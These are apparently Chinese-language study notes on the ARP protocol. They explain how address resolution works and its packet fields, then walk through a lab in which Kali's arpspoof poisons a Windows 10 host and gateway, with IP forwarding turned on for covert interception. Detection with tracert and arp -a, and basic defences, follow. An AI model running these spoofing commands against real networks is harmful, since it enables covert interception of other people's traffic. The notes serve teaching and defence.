网络层协议-ARP协议
1)概述
ARP:地址解析协议,作用:根据IP地址查询MAC地址
数据包发送前需要进行封包,在数据链路层需要封装源mac地址是自己的mac,目的mac地址是别人,但是不知道别人的mac地址,此时需要由arp协议获取mac地址
ARP分别请求包和响应包
2)ARP工作机制
1.首先A主机需要对ARP协议封包,ARP协议(源IP地址:自己,目的IP地址:手动填写,源mac地址自己,目的mac地址填充地址)
2.以太网协议封包,源mac是自己,目的mac:广播地址(ff-ff)
3.发送出去
4.交换机识别到数据帧,查看mac头部,目的mac是广播,所以广播出去
5.C主机查看mac头,查看arp协议,目的IP不是自己,丢弃
6.B主机查看mac头,查看arp协议,目的IP是自己,封装回包
7.B主机封装arp协议,源mac自己,目的mac对方,源IP地址自己,目的IP地址对方
8.以太网协议封装,源mac自己,目的mac对方
9.交换机收到arp响应后,查看mac头,目的mac在自身缓存表,所以进行单播出去
ARP数据包会经过交换机,但是不会经过路由器,属于局域网协议
3)ARP协议字段分析
ARP请求包
Hardware type: Ethernet (1) 硬件类型:以太网
Protocol type: IPv4 (0x0800) 协议类型:ipv4
Hardware size: 6 硬件大小
Protocol size: 4 协议大小
Opcode: request (1) 操作码:1表示请求 2表示响应
Sender MAC address: Intel_26:1f:29 (60:57:18:26:1f:29) 源mac地址
Sender IP address: 192.168.2.89 源IP地址
Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 目的mac地址
Target IP address: 192.168.2.1 目的IP地址
ARP响应包
Hardware type: Ethernet (1) 硬件类型:以太网
Protocol type: IPv4 (0x0800) 协议类型:ipv4
Hardware size: 6 硬件大小
Protocol size: 4 协议大小
Opcode: reply (2) 操作码:1表示请求 2表示响应
Sender MAC address: RuijieNetwor_e9:45:11 (80:05:88:e9:45:11)
Sender IP address: 192.168.2.1
Target MAC address: Intel_26:1f:29 (60:57:18:26:1f:29)
Target IP address: 192.168.2.89
主机拿到对方的MAC地址后,缓存在自身的MAC表里,下次就直接从MAC表里拿对方的MAC地址
4)ARP攻击
准备:
1台window10 作为靶机
1台kali 作为攻击者
kali开始实施攻击
1.kali下载名令dsniff
apt-get install dsniff
2.实施攻击
arpspoof -i 接口名称 -t 目标IP地址 -r 网关IP地址
arpspoof -i 接口名称 -t win10IP地址 -r 网关IP地址
ip a 查看的是eth0网卡名称
arpspoof -i eth0 -t 192.168.159.131 -r 192.168.159.2
通过抓包发现,kali发送了2种响应包,一个是攻击目标主机的,一个是攻击网关的,对象不一样
win10被攻击者前显示的mac表
C:\Users\zhangsan>arp -a
接口: 192.168.159.131 --- 0x3
Internet 地址 物理地址 类型
192.168.159.2 00-50-56-e9-9e-0a 动态
192.168.159.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
win10被攻击者后显示的mac表
C:\Users\zhangsan>arp -a
接口: 192.168.159.131 --- 0x3
Internet 地址 物理地址 类型
192.168.159.2 00-0c-29-be-f2-73 动态
192.168.159.132 00-0c-29-be-f2-73 动态
192.168.159.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
5)ARP欺骗
使用ARP攻击靶机会立马让靶机警觉,可能靶机会去检查网络是否故障,容易发现被攻击,使用arp欺骗更具有隐蔽性
ARP欺骗在的原理是在ARP攻击基础上,让攻击者进行转发数据给路由器,做到神不知鬼不觉的监控靶机
在kali上有一个配置文件,修改配置问价即可实现数据转发,配置文件路径在/proc/sys/net/ipv4/ip_forward
echo 1 >> /proc/sys/net/ipv4/ip_forward 修改该配置文件内容为1
攻击者在使用arpspoof攻击命令可以让靶机受到攻击的同时根本感受不到遭受攻击
6)ARP研判
使用tracert命令查看下一条路由器IP地址
正常如下
C:\Users\Administrator>tracert 192.168.2.1
通过最多 30 个跃点跟踪到 192.168.2.1 的路由
1 2 ms 1 ms 1 ms 192.168.2.1
跟踪完成。
被攻击如下
C:\Users\Administrator>tracert 192.168.159.2
通过最多 30 个跃点跟踪到 192.168.159.2 的路由
1 <1 毫秒 * * 192.168.159.132
2 <1 毫秒 <1 毫秒 <1 毫秒 192.168.159.2
跟踪完成。
发现路由器是第二跳IP地址,说明遭受到攻击
arp -a查看mac地址是否有一样的,但是IP地址不一样,说明遭受到攻击
C:\Users\Administrator>arp -a
接口: 192.168.159.131 --- 0x3
Internet 地址 物理地址 类型
192.168.159.2 00-0c-29-be-f2-73 动态
192.168.159.132 00-0c-29-be-f2-73 动态
192.168.159.254 00-50-56-ee-26-2f 动态
192.168.159.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
7)ARP防范
1.在使用者电脑上安装360ARP防火墙
2.设置交换机上端口安全功能